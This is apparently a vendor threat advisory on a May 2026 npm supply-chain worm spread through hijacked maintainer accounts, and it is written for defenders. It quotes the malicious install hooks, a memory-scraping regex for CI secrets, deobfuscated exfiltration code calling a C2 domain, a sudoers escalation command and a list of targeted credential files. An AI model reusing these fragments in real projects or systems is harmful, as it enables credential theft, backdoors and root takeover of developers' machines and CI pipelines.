On 19 May 2026, the threat actor tracked as TeamPCP executed a coordinated account takeover of two npm maintainer accounts — atool and prop — and pushed confirmed malicious versions of 323 packages across Alibaba’s AntV data visualization ecosystem and a broad set of standalone JavaScript libraries. The atool account maintains 547 packages; 318 received poisoned versions in two automated waves spanning 27 minutes. The prop account contributed six additional packages from the openclaw-cn and @starmind namespaces. Combined weekly download exposure across the affected packages exceeds 16 million.
The payload is fully deobfuscated. It is not a dropper or a stub. Every compromised package carries a 486-498 KB obfuscated JavaScript file that, when executed by the Bun runtime, reads GitHub Actions Runner.Worker process memory to extract CI/CD secrets in plaintext — bypassing log masking entirely — harvests credentials from over 130 file paths on the host, and exfiltrates stolen data through two independent channels: a GitHub API dead-drop in the legitimate antvis/G2 repository and a fallback C2 server at t.m-kosche.com disguised as an OpenTelemetry collector endpoint. It then drops persistent backdoors into Claude Code and VS Code configurations, injects a malicious GitHub Actions workflow, and attempts privilege escalation to root on Linux CI runners.


The worm is already using stolen credentials. Over 2,500 public GitHub repositories have been created using exfiltrated tokens, each named with Dune-universe terminology and described with the reversed string niagA oG eW ereH :duluH-iahS — “Shai-Hulud: Here We Go Again” — confirming the connection to the Shai-Hulud campaign lineage and providing a real-time lower bound on compromised environments. No CVE has been issued. None will be. This attack produces zero signal in any scanner anchored to the CVE feed.

TL;DR for Engineering Teams
CRITICAL — ACTIVE EXFILTRATION IN PROGRESS
Over 2,500 GitHub repositories have already been created using stolen tokens from compromised CI environments. If your token appears in those commits, you have been compromised. Rotate all credentials immediately — not just npm tokens.
ZERO-CVE SUPPLY CHAIN ATTACK
No CVE will be issued. Standard SCA tools produce no alert. Detection requires timestamp-based IOC matching, network telemetry for t.m-kosche.com, and filesystem checks for persistence artifacts.
Download the campaign for Phoenix Security Remedaitions
| What it is | Maintainer account takeover of npm accounts atool (318 packages) and prop (6 packages) by TeamPCP. 323 affected packages, 645 malicious package@version artifacts, confirmed infostealer with Runner.Worker memory scraping. |
| Where it bites | Any CI/CD pipeline or developer machine that installed AntV packages, jest-canvas-mock, jest-date-mock, echarts-for-react, size-sensor, or timeago.js after 2026-05-19T01:39:31Z. |
| Why it matters | Confirmed active exfiltration. 2,500+ GitHub repos created with stolen tokens. Runner.Worker memory scrape captures every masked CI secret in plaintext. Persistence backdoors survive package rollback. |
| Patch status | No patch. Registry-level account compromise. npm unpublishing in progress. |
| Immediate action | Treat any affected environment as fully compromised. Rotate all secrets. Block t.m-kosche.com. Remove .claude/settings.json SessionStart hook, .vscode/tasks.json folderOpen task, .github/workflows/codeql.yml injection. |
Contents
ToggleCampaign Overview
| Field | Value |
| Threat Actor | TeamPCP (Mini Shai-Hulud campaign) |
| Affected Ecosystem | npm |
| Attack Type | Maintainer account takeover / mass republish with active infostealer |
| Compromised Accounts | atool (318 packages), prop (6 packages) |
| Total Affected Packages | 323 |
| Artifacts Published | 645 malicious package@version |
| Downloads at Risk | ~16,000,000 combined weekly |
| CVE | None issued |
| Patch Available | No |
| Active Exploitation | Confirmed — 2,500+ repositories created with stolen tokens |
| Campaign Lineage | Shai-Hulud / Mini Shai-Hulud / TeamPCP March 2026 |
| C2 Domain | t.m-kosche.com (port 443, fake OTel path) |
| Dead-Drop Repository | antvis/G2 (GitHub) |
| Payload Runtime | Bun (auto-installed if absent) |
| Payload Size | 486-498 KB obfuscated JavaScript |

The atool Maintainer Account: Why This Account Was the Target
The npm account atool (registered email: i@hust.cc) is the primary publisher of timeago.js, a relative time formatting library with over 1.5 million weekly downloads, and a member of the AntV maintainer team. AntV is Alibaba’s open-source data visualization suite. The @antv npm namespace contains over 100 packages covering charting (@antv/g2, @antv/g2plot), graph visualization (@antv/g6), geospatial mapping (@antv/l7), 2D/3D rendering (@antv/g), spreadsheet rendering (@antv/s2), and shared utilities.
Whoever controlled atool’s publish token controlled all of it. The standalone packages caught in this campaign — jest-canvas-mock, jest-date-mock, echants-for-react, size-sensor — are functionally unrelated to AntV but were maintained through the same publishing pipeline. Their install bases span React test suites, data engineering pipelines, financial dashboards, and enterprise BI tools. These environments routinely hold elevated cloud credentials, GitHub tokens with repository write access, and npm automation tokens. That combination makes atool an extremely high-value target: one compromised token unlocked a credential-harvesting operation across millions of weekly install operations.
The prop account added six packages from the openclaw-cn namespace and @starmind/collector-cli. Smaller footprint, same payload, same campaign.

Highest-Risk Packages by Download Volume
| # | Package | Compromised Versions | Weekly Downloads | Stack Context |
|---|---|---|---|---|
| 1 | jest-canvas-mock | 2.5.3, 2.6.3, 2.7.3 | 2,962,375 | React test suites, ubiquitous |
| 2 | size-sensor | 1.0.4, 1.1.4, 1.2.4 | 1,173,844 | AntV dependency chain |
| 3 | echarts-for-react | 3.0.7, 3.1.7, 3.2.7 | 1,076,971 | Dashboards, BI tools (Pattern B delivery) |
| 4 | @antv/util | 3.4.11, 3.5.11 | 714,487 | Core AntV shared utility |
| 5 | @antv/scale | 0.6.2, 0.7.2 | 588,198 | Core AntV primitive |
| 6 | jest-date-mock | 1.0.11, 1.1.11, 1.2.11 | 477,803 | Jest date testing utility |
| 7 | @antv/matrix-util | 3.1.4, 3.2.4 | 444,906 | AntV matrix operations |
| 8 | @antv/g-math | 3.2.0, 3.3.0 | 392,509 | AntV geometry math |
| 9 | @antv/component | 2.2.11, 2.3.11 | 364,034 | AntV UI component base |
| 10 | @antv/g2 | 5.5.8, 5.6.8 | 350,458 | Grammar of Graphics core |
| 11 | @antv/event-emitter | 0.2.3, 0.3.3 | 347,249 | AntV event system |
| 12 | @antv/g | 6.4.1, 6.5.1 | 317,089 | AntV rendering engine |
| 13 | timeago.js | 4.1.2, 4.2.2 | 298,672 | Standalone time formatting |
| — | @antv/g6 | 5.2.1, 5.3.1 | 224,898 | Graph visualization |
| — | @antv/graphlib | 2.1.4, 2.2.4 | 209,149 | Graph data structures; confirmed deobfuscated |
jest-canvas-mock, size-sensor, and echarts-for-react alone pull over five million downloads a week. The AntV transitive dependency tree compounds this further: a single application using @antv/g2 or @antv/g6 may install 30-50 @antv/* packages, each a separate exfiltration event.
Full wave In attachment
Protect yourself with the latest threat intelligence, get access to PHOENIX BLUE Today
Technical Breakdown
Root Cause: Stolen Publishing Credential
The compromise is an account-level credential theft, not a code vulnerability. TeamPCP obtained a valid npm automation token for atool — most likely through phishing, a token leaked in a public repository or CI log, or lateral movement from a previously compromised machine — then ran a scripted mass republish across every package the account owns.
The two-wave publish pattern is the operational fingerprint. Wave 1 (01:39-01:56 UTC) produced 317 versions. Wave 2 (02:05-02:06 UTC) produced 314 versions in approximately six seconds — that is an automated publish loop, not a human doing a monorepo release. The second wave added Bun as an explicit npm dependency rather than installing it at runtime, making payload delivery more reliable across environments where the silent curl install might fail.
Two Delivery Patterns
Pattern A — Direct install hook (most @antv/* packages)
“scripts”: { “preinstall”: “node -e \”require(‘child_process’).spawnSync(‘bun’,[‘run’,’index.js’],{stdio:’inherit’})\””}
The hook fires on npm install. If Bun is not present, it installs silently before the payload runs. This pattern is visible to tools that inspect scripts fields in published tarballs.
Pattern B — optionalDependencies git reference (echarts-for-react and others)
“optionalDependencies”: { “@antv/setup”: “github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a”}
That commit’s package.json contains a prepare hook with “prepare”: “bun run index.js && exit 1”. The prepare hook fires automatically when npm resolves the git dependency. The && exit 1 causes the optional dependency to fail gracefully, producing minimal log output while the payload executes in the background. Because the dependency resolves to a trusted GitHub organization (antvis) and no scripts entry appears in the published tarball itself, this pattern evades static analysis tools that inspect only the scripts field of published packages. It is the more sophisticated delivery vector.
Attack Chain — Full Process Tree (from Harden-Runner telemetry)
npm install echarts-for-react@3.0.7 (PID 2368)
└─ node (PID 2379) — resolves github:antvis/G2#7cb42f5, installs bun
└─ dash (PID 2400) — prepare hook fires
└─ bun.exe (PID 2401) — runs index.js (malicious payload)
├─ gh (PID 2419) — GitHub CLI reconnaissance
├─ sudo (PID 2428)
│ └─ python3.12 (PID 2429) — reads /proc/2175/mem (Runner.Worker)
└─ dash (PID 2430)
├─ tr (PID 2431) — strips null bytes
├─ grep (PID 2432) — extracts isSecret:true JSON
└─ sort (PID 2433) — deduplicates extracted secrets
This pattern repeats across four separate git-clone operations in echarts-for-react, producing four independent Python processes (PIDs 2429, 2486, 2536, 2587) all reading /proc/2175/mem. One install of one package, four separate memory reads.
Runner.Worker Memory Scraping
The payload’s highest-value capability targets GitHub Actions runners. It locates Runner.Worker by scanning /proc/[pid]/cmdline, reads its memory via /proc/[pid]/mem, and extracts secrets with:
tr -d ‘\0’ | grep -aoE ‘”[^”]+”:{“value”:”[^”]*”,”isSecret”:true}’ | sort -u
This regex targets the exact JSON structure GitHub Actions uses to store runner secrets in memory. Log masking operates at the output layer — it does not protect secrets in memory. Every secret the runner holds, including GITHUB_TOKEN, repository secrets, environment secrets, and organization secrets, is extracted in plaintext. Harden-Runner flagged four Runner Worker Memory Read detections:
python3 (pid: 2429) — Runner Worker Memory Read — FILE_READ /proc/2175/mem → Runner.Workerpython3 (pid: 2486) —
Runner Worker Memory Read — FILE_READ /proc/2175/mem → Runner.Workerpython3 (pid: 2536) —
Runner Worker Memory Read — FILE_READ /proc/2175/mem → Runner.Workerpython3 (pid: 2587) —
Runner Worker Memory Read — FILE_READ /proc/2175/mem → Runner.Worker
CI/CD Environment Variable Theft
When the payload detects a CI environment (via GITHUB_ACTIONS, CIRCLECI, TRAVIS, BUILDKITE, and 15 other signals), it reads environment variables directly:
GITHUB_TOKEN · ACTIONS_ID_TOKEN_REQUEST_TOKEN · ACTIONS_RUNTIME_TOKENNPM_TOKEN · AWS_ACCESS_KEY_ID · AWS_SECRET_ACCESS_KEY · AWS_SESSION_TOKENVAULT_TOKEN · KUBECONFIG
Credential File Harvest (130+ Paths)
| Category | Paths Targeted |
|---|---|
| Cloud | ~/.aws/credentials, ~/.config/gcloud/credentials.db, ~/.azure/accessTokens.json, ~/.terraform.d/credentials.tfrc.json |
| SSH | ~/.ssh/id_rsa, ~/.ssh/id_ed25519, ~/.ssh/id_ecdsa, ~/.ssh/config, ~/.ssh/authorized_keys |
| Dev tokens | ~/.npmrc, ~/.pypirc, ~/.netrc, .git-credentials, ~/.docker/config.json |
| Kubernetes / Vault | ~/.kube/config, /etc/rancher/k3s/k3s.yaml, ~/.vault-token, /run/secrets/vault_token |
| Crypto wallets | ~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, ~/.electrum/wallets/*, ~/.dogecoin/wallet.dat |
| Chat / messaging | ~/.config/Slack/Cookies, ~/.config/telegram-desktop/*, ~/.config/discord/Local Storage/leveldb/* |
| AI tooling | ~/.claude.json, ~/.claude/mcp.json |
| CRYPTOCURRENCY WALLETS AT RISKIf any affected developer machine holds wallet files (~/.bitcoin/wallet.dat, ~/.ethereum/keystore/*, etc.), transfer funds to a new wallet immediately. The payload harvests these files on every install, not just in CI environments. |
Dual-Channel Exfiltration
All harvested data is encrypted with a PBKDF2-derived key (200,000 iterations, SHA-256) unique to each payload, then exfiltrated via one of two channels:
Primary — GitHub API dead-drop: Encrypted data is committed to a dead-drop branch in antvis/G2 via the GitHub REST API using a spoofed python-requests/2.31.0 User-Agent. Every commit message contains the campaign fingerprint string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner. This channel traverses almost any network egress policy permitting api.github.com.
Fallback — direct TLS to t.m-kosche.com: The payload posts to t.m-kosche.com:443 at path api/public/otel/v1/traces, chosen deliberately to impersonate an OpenTelemetry collector endpoint. Many organizations whitelist observability traffic by path pattern. Deobfuscated from the @antv/graphlib payload:
async function J2() { const conn = { domain: ‘t.m-kosche.com’, port: 443, path: ‘api/public/otel/v1/traces’, // fake OTel endpoint dry_run: false }; if (process.env.SKIP_DOMAIN === ‘true’) { return new lo().send(data); // GitHub API channel } else { return new po(conn).tryCreate(); // direct TLS to t.m-kosche.com }}
Block t.m-kosche.com at the domain level. Blocking the path alone is insufficient — the domain must be blocked regardless of path.
Daemonization
The payload forks itself into a background process using a __DAEMONIZED=1 environment variable guard against re-entry. The foreground process exits immediately, allowing npm install to complete with no visible error. The background process performs the full credential harvest after npm exits. A clean exit code does not mean no compromise occurred.
Persistence Mechanisms
| Location | Persistence Mechanism |
|---|---|
| .claude/settings.json | Injects a SessionStart hook; re-executes the malware on every Claude Code session |
| .claude/setup.mjs | Shared setup script for Claude Code persistence |
| .vscode/tasks.json | Adds a folderOpen task; re-executes the payload every time VS Code opens the project |
| .vscode/setup.mjs | Shared setup script for VS Code persistence |
| .github/workflows/codeql.yml | Injects a malicious Actions workflow that exfiltrates all repository secrets on push or deployment |
PERSISTENCE SURVIVES PACKAGE ROLLBACK
Pinning to a clean package version and reinstalling is not sufficient remediation if the backdoor files are already present on disk. Check and remove each persistence artifact explicitly.
Privilege Escalation
On Linux CI runner systems, the payload writes a sudoers rule granting the runner user full passwordless root access:
echo ‘runner ALL=(ALL) NOPASSWD:ALL’ > /mnt/runner && chmod 0440 /mnt/runner
The runner user is the default GitHub Actions runner user. This grants root access for all subsequent operations in the same build environment.
2,500+ Repositories Created with Stolen Tokens
The worm is using stolen credentials in real time. TeamPCP has created over 2,500 public GitHub repositories using exfiltrated tokens, each named with Dune-universe term pairs (atreides, fedaykin, ghola, harkonnen, lasgun, navigator, sandworm, thumper) followed by a random number. Every repository description contains the reversed campaign marker:
niagA oG eW ereH :duluH-iahS → “Shai-Hulud: Here We Go Again”
Search: github.com/search?q=niaga+og+ew+ereh+%3Aduluh-iahs&type=repositories&s=updated&o=desc
That count is a floor on confirmed compromised environments. If any repository in those results was created by an account you do not recognize using a token from your organization, credentials are confirmed stolen.
Affected Versions — High-Priority Packages
| Package | Compromised Versions | Last Clean Version | Notes |
|---|---|---|---|
| jest-canvas-mock | 2.5.3, 2.6.3, 2.7.3 | 2.5.2 | 2.96M/week; React test suites |
| size-sensor | 1.0.4, 1.1.4, 1.2.4 | 1.0.3 | AntV dependency |
| echarts-for-react | 3.0.7, 3.1.7, 3.2.7 | 3.0.6 | Pattern B (git ref) delivery |
| @antv/util | 3.4.11, 3.5.11 | 3.4.10 | Core AntV utility |
| @antv/scale | 0.6.2, 0.7.2 | 0.6.1 | Core AntV primitive |
| jest-date-mock | 1.0.11, 1.1.11, 1.2.11 | 1.0.10 | Jest date mock |
| @antv/g2 | 5.5.8, 5.6.8 | 5.5.7 | Grammar of Graphics |
| @antv/g | 6.4.1, 6.5.1 | 6.4.0 | AntV rendering engine |
| @antv/g6 | 5.2.1, 5.3.1 | 5.2.0 | Graph visualization |
| @antv/graphlib | 2.1.4, 2.2.4 | 2.1.3 | Confirmed deobfuscated |
| timeago.js | 4.1.2, 4.2.2 | 4.1.1 | 1.5M/week; standalone |
| @antv/l7 | 2.26.10, 2.27.10 | 2.26.9 | Geospatial mapping |
Full list of all 323 affected packages available at phxintel.security/package.html
Exposure Analysis
| Environment | Risk Level | Impact |
|---|---|---|
| GitHub Actions pipelines | CRITICAL | Runner.Worker memory scrape extracts every masked secret; sudoers escalation to root |
| Developer machines | CRITICAL | 130+ credential files harvested; crypto wallets at risk; Claude Code and VS Code persistence dropped |
| CI/CD pipelines (non-GitHub) | HIGH | Env variable theft via 15+ CI platform signals; daemonized exfiltration completes after build |
| Private registry caches | HIGH | Pull-through caches that mirrored poisoned versions serve them to downstream installs |
| Production services | MEDIUM | Only if build process resolves npm at deploy time rather than from a pinned private snapshot |
Detection Guidance
Log Indicators
- Outbound HTTPS to t.m-kosche.com during any build or install step
- api.github.com requests with User-Agent python-requests/2.31.0 from runner hosts
- bun run index.js appearing in process logs during npm install
- python3 processes reading /proc/*/mem during CI runs
- Unexpected preinstall or postinstall scripts referencing bun run index.js
- optionalDependencies pointing to github:antvis/G2#7cb42f57… commit reference
- Package tarball size anomaly: compromised versions are 400-500 KB larger than clean versions
- Two versions of the same package published within minutes (double-tap pattern)
- Commits by unrecognized accounts with message chore: update dependencies
- Repository names or branch names using Dune-universe terminology (atreides, harkonnen, sandworm, etc.)
Indicators of Compromise
| Indicator | Type | Confidence |
|---|---|---|
| t.m-kosche.com:443 | C2 domain | Confirmed |
| api/public/otel/v1/traces | C2 path (fake OTel) | Confirmed |
| antvis/G2 dead-drop branch | GitHub dead-drop | Confirmed |
| python-requests/2.31.0 | Spoofed User-Agent | Confirmed |
| IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner | Commit fingerprint | Confirmed |
| niagA oG eW ereH :duluH-iahS | Repo description marker | Confirmed |
| github:antvis/G2#7cb42f57561c321ecb09b4552802ae0ac55b3a7a | Poisoned git ref | Confirmed |
| .claude/settings.json (SessionStart hook) | Persistence artifact | Confirmed |
| .vscode/tasks.json (folderOpen task) | Persistence artifact | Confirmed |
| .github/workflows/codeql.yml (injected) | Persistence artifact | Confirmed |
| npm maintainer: atool | Compromised account | Confirmed |
| npm maintainer: prop | Compromised account | Confirmed |
| Wave 1: 2026-05-19T01:39:31Z – 01:56:46Z | Publish timestamp | Confirmed |
| Wave 2: 2026-05-19T02:05:59Z – 02:06:05Z | Publish timestamp | Confirmed |
Verification Steps
- Search lockfiles for compromised package versions:
# npmgrep -E “@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md” package-lock.json | grep -v node_modules# pnpmgrep -E “@antv/|echarts-for-react|timeago|jest-canvas-mock|jest-date-mock|size-sensor|lint-md” pnpm-lock.yaml
- Check node_modules for the injected payload (size anomaly and git ref):
find node_modules -name “index.js” -size +400k -type f 2>/dev/nullgrep -r “@antv/setup” node_modules/*/package.json 2>/dev/null
- Check persistence artifacts against version control:
git diff .claude/settings.jsongit diff .vscode/tasks.jsongit diff .github/workflows/codeql.yml
- Search GitHub for exfiltrated token activity: github.com/search?q=niaga+og+ew+ereh+%3Aduluh-iahs&type=repositories
- Run Phoenix Security scanner: sha1hulud-phoenix.pplx.app
Remediation
Immediate Actions
- Assume full compromise for any environment that ran npm install after 2026-05-19T01:39:31Z with any affected package. The daemonized payload completes after the install exits — a clean exit code does not mean no compromise occurred.
- Rotate all secrets immediately. Rotate: GitHub PATs and fine-grained tokens, AWS/GCP/Azure credentials, Kubernetes service account tokens, Vault tokens, npm automation tokens, SSH keys, any other credentials in the 130+ harvested file paths.
- Remove persistence artifacts:
# Claude Code persistencegit diff .claude/settings.jsonrm -f .claude/setup.mjs# VS Code persistencegit diff .vscode/tasks.jsonrm -f .vscode/setup.mjs# Injected Actions workflowgit diff .github/workflows/codeql.yml
- Block t.m-kosche.com at the domain level in your DNS blocklist, WAF, and CI egress allowlist. Block the domain, not just the path.
- Purge and rebuild all CI caches — artifact caches, Docker layer caches, npm caches built after 01:39:31Z on 2026-05-19.
- Pin to known-good versions using package.json overrides with exact versions before the Wave 1 window:
“overrides”: { “jest-canvas-mock”: “2.5.2”, “echarts-for-react”: “3.0.6”, “size-sensor”: “1.0.3”, “jest-date-mock”: “1.0.10”, “@antv/util”: “3.4.10”, “@antv/g2”: “5.5.7”}
- Audit GitHub repositories for unauthorized commits, branch creation, or workflow modifications in the past 24 hours.
- Transfer cryptocurrency wallet funds to a new wallet if wallet files were accessible on any affected machine.
- Add npm install –ignore-scripts to all CI pipelines for the remediation window.
MITRE ATT&CK Mapping
| Technique | ID | Notes |
|---|---|---|
| Supply Chain Compromise: Software Supply Chain | T1195.001 | Core delivery vector |
| Valid Accounts | T1078.004 | Stolen npm automation token |
| Command and Scripting Interpreter | T1059 | Bun runtime, bash, Python3 |
| OS Credential Dumping: Process Memory | T1003 | /proc/[pid]/mem Runner.Worker scrape |
| Credentials from Password Stores | T1555 | 130+ credential file paths |
| Credentials in Environment Variables | T1552.001 | CI/CD secret harvest |
| Exfiltration Over C2 Channel | T1041 | t.m-kosche.com + GitHub API dead-drop |
| Web Service: Dead Drop Resolver | T1102.001 | antvis/G2 repository dead-drop |
| Event-Triggered Execution | T1546 | SessionStart hook in .claude/settings.json |
| Hijack Execution Flow | T1574 | VS Code folderOpen task injection |
| Workflow/Job Tampering | T1649 | Injected codeql.yml Actions workflow |
| Abuse Elevation Control: Sudo | T1548.003 | Sudoers rule granting runner full root |
Phoenix Security Platform Recommendations
Standard CVE-gated triage produces zero signal here. No NVD entry, no GHSA record, no CVSS score. The Phoenix Security platform addresses the specific gaps this attack exploits:
Behavioral Publish Anomaly Detection
Phoenix tracks package publish velocity and cross-repository maintainer behavior. 600+ versions from one account in 27 minutes across unrelated repositories fires independently of any CVE lookup.
Reachability Analysis
Separates test-environment installs of jest-canvas-mock from production-reachable components. Not every install represents equal risk; reachability lets you prioritize the builds holding the most sensitive credentials.
Persistence Artifact DetectionPhoenix monitors for unexpected modifications to CI configuration files and IDE workspace settings as part of post-compromise indicator sweeps — critical for detecting the .claude/settings.json and .vscode/tasks.json injections this campaign drops.
Remediation Campaign Management
Create a TeamPCP May 2026 campaign, assign all 323 affected packages as the remediation scope, assign owners by repository, and track lockfile pin confirmation from a single view.
Supply Chain Transitive Exposure Attribution
Maps the full @antv/* transitive dependency graph, identifying every downstream application exposed through deep transitive chains, not just direct consumers.
Phoenix Security scanners: sha1hulud-phoenix.pplx.app (live tracking), phxintel.security/package.html (package intelligence), phoenix.security/?s=sha1 (campaign archive).
External References
- StepSecurity — Mini Shai-Hulud full technical analysis, Harden-Runner telemetry, payload deobfuscation (2026-05-19)
- StepSecurity Harden-Runner telemetry — blocked run: app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26079710896
- StepSecurity Harden-Runner telemetry — unprotected full chain: app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26074813529
- OpenSourceMalware — TeamPCP npm atool/prop account takeover advisory (2026-05-19)
- Phoenix Security scanner: github.com/Security-Phoenix-demo/Shai-Hulud-Sha1-Hulud-V2-npm-compromise-scanner
- Phoenix Security package intelligence: phxintel.security/package.html
- Phoenix Security campaign archive: phoenix.security/?s=sha1
- GitHub repository search — Shai-Hulud dead-drop repos: github.com/search?q=niaga+og+ew+ereh+%3Aduluh-iahs&type=repositories
- MITRE ATT&CK — T1195.001 Supply Chain Compromise: attack.mitre.org/techniques/T1195/001
- MITRE ATT&CK — T1003 OS Credential Dumping (Process Memory): attack.mitre.org/techniques/T1003
- TeamPCP March 2026 campaign — Phoenix Security prior analysis (Trivy, Checkmarx KICS, LiteLLM, GitHub Actions)